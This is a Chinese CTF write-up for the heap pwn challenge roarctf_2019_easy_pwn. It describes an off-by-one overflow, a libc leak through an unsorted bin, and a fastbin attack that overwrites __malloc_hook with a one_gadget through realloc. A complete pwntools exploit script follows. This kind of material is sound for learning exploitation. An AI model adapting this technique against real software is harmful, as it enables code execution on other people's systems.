WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

其它

关于博客

面试

杂谈

roarctf_2019_easy_pwn

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

因为多次调试所以图片中的地址会不一样

0x01 功能介绍

偷懒了这里就不详细讲代码了

先来说下堆块索引表的结构

这题是开了PIE的,堆索引表的偏移为0x202040

在创建了堆块后堆索引表的结构是这样的

1
2
3
4
5
6
struct chunk_index
{
int size; //堆块大小
int flag; //堆块是否启用
long chunk_ptr //堆块指针
}

下面说下功能

1.创建

本题用calloc创建堆块

不能创建超过16个堆块

首先判断索引表的flag是否为1,如为1就继续往下找为0的地方写入索引信息

calloc在创建后会把堆中的数据都置零

堆块的大小不能超过0x1000

创建完成后把堆大小,是否启用,堆指针写入堆索引表

2.写入

接收索引后去索引表检测堆块是否启用

接收用户想写入的大小,和堆索引表记录的实际大小比较

在比较的这个函数中有off-by-one问题,如果用户输入比实际大小多10字节则可以多写入一字节

最后接收内容写入堆块

3.释放

接收索引后去索引表检测堆块是否启用

释放堆后再将索引表的信息都置零

4.输出

接收索引后去索引表检测堆块是否启用

打印堆块中内容

0x02 解题步骤

1.利用off-by-one泄露出libc地址

  1. 创建2个0x18的堆块,创建0x68的堆块,再创建0x18的堆块
  2. 利用单字节溢出将1堆块的size位修改为0x91
  3. 释放1堆块,此时2堆块也被释放了,但是索引表还存着2堆块的信息,因为0x91已经超过了fastbin被放到unsortedbin了,释放的堆块中会存着main_arena的地址,可以通过泄露改地址计算libc基址
  4. 再创建0x18的堆块,在unsortedbin取了0x18字节后fd和bk会向下,输出第二个堆块的内容可以得到main_arena地址
  5. 计算得到libc基址,malloc_hook地址和realloc_hook地址

2. 利用fastbin attack申请到__malloc_hook附近的地址

  1. 创建0x68的堆块把unsortedbin全用掉
  2. 创建2个0x18堆块和2个0x68堆块,此时堆块对应的索引为5678
  3. 修改第5个堆块利用off-by-one将第6个堆块的size位改为0x91
  4. 释放第6个堆块和第7个堆块,相当于释放了0x91和0x71,0x91进入unsortedbin,0x71进入fastbin,此时bins是这样的
  5. 再申请0x78大小的堆块,再次查看bins
  6. 下次再申请0x68的堆块就会先取fastbin里面的地址了,但是上面已经申请了0x78的大小,可以通过写入取控制fastbin的链表,将想申请的位置写在chunk+0x10对应上图也就是0x5571c950e110+0x10的位置
  7. 因为要满足堆块的结构所以位置选择在malloc_hook-0x23,只要size位正常就可以
  8. 再次创建2个0x68大小的堆块,第2次创建就在malloc_hook-0x23的位置,将malloc_hook的值修改为one_gadget

3.使用realloc修改栈使one_gadget正常运行

这应该算是一个技巧了,如果直接使用one_gadget会出现这种情况

虽然one_gadget提示的是rsp+0x30==NULL

不过实际情况这个参数不是null导致/bin/sh不能正常执行

所以需要在malloc_hook写入realloc+2,用realloc去执行gadget,使栈内参数正常

可以看到realloc过来执行one_gadget后第二个参数为0,one_gadget可以正常运行

布置的时候把realloc+2写入malloc_hook位置,one_gadget写入malloc_hook-0x8位置

至于为啥这样布置可能就要读源码..不过我这种只要会用就好..以后再去详细了解

0x03 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
from LibcSearcher import *

context(os="linux", arch="amd64", log_level="debug")
pwnfile = "./roarctf_2019_easy_pwn"
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("/home/hacker/pwn/libc.so.6")

host = "node4.buuoj.cn"
port = 26177
io = remote(host, port)

def create(size):
io.sendlineafter("choice: ", "1")
io.sendlineafter("size: ", str(size))
# sleep(1)
#b *$rebase(0xC46)

def edit(index, size, content):
io.sendlineafter("choice: ", "2")
io.sendlineafter("index: ", str(index))
io.sendlineafter("size: ", str(size))
io.sendlineafter("content: ", content)
# sleep(1)
#b *$rebase(0xE82)


def drop(index):
io.sendlineafter("choice: ", "3")
io.sendlineafter("index: ", str(index))
# sleep(1)
#b *$rebase(0xF8E)

def show(index):
io.sendlineafter("choice: ", "4")
io.sendlineafter("index: ", str(index))
# sleep(1)




create(0x18) #0
create(0x18) #1
create(0x68) #2
create(0x18)



payload = 'a' * 0x18
edit(0, len(payload)+10, payload+'\x91')
drop(1)


create(0x18) #1
show(2)
# gdb.attach(io, "b *$rebase(0xF8E)")
# pause()
io.recvuntil("content: ")
leak_address = u64(io.recv(6).ljust(8,'\x00'))
log.success(hex(leak_address))

# libc_base = leak_address - 88 -0x3c3b20
libc_base = leak_address - 88 -0x3c4b20

log.success(hex(libc_base))

malloc_hook = libc_base +libc.symbols["__malloc_hook"]
log.success(hex(malloc_hook))


realloc = libc_base +libc.symbols["__libc_realloc"]
log.success(hex(realloc))

# one_gadget = libc_base + 0x4525a
one_gadget = libc_base + 0x4526a

create(0x68) #4
create(0x18) #5
create(0x18) #6
create(0x68) #7
create(0x68) #8




payload = 'a' * 0x18
edit(5, len(payload)+10, payload+'\x91')

# gdb.attach(io, "b *$rebase(0xF8E)")
# pause()
drop(6)
drop(7)
create(0x78) #7


payload = 'a'*0x10 + '\x00' * 8 + p64(0x71) + p64(malloc_hook-0x23) + '\x00'*70
edit(6, len(payload), payload)

# gdb.attach(io, "b *$rebase(0xC46)")
# pause()
create(0x68) #8
create(0x68) #malloc_hook-0x23

payload = '\x00'*0x3 + p64(0) + p64(one_gadget) + p64(realloc+2)
edit(9, len(payload), payload)

create(0x68)

io.interactive()

不同的libc偏移要重新计算,这里的偏移都是打远程的,计算main_arena的偏移可以用main_arena_offset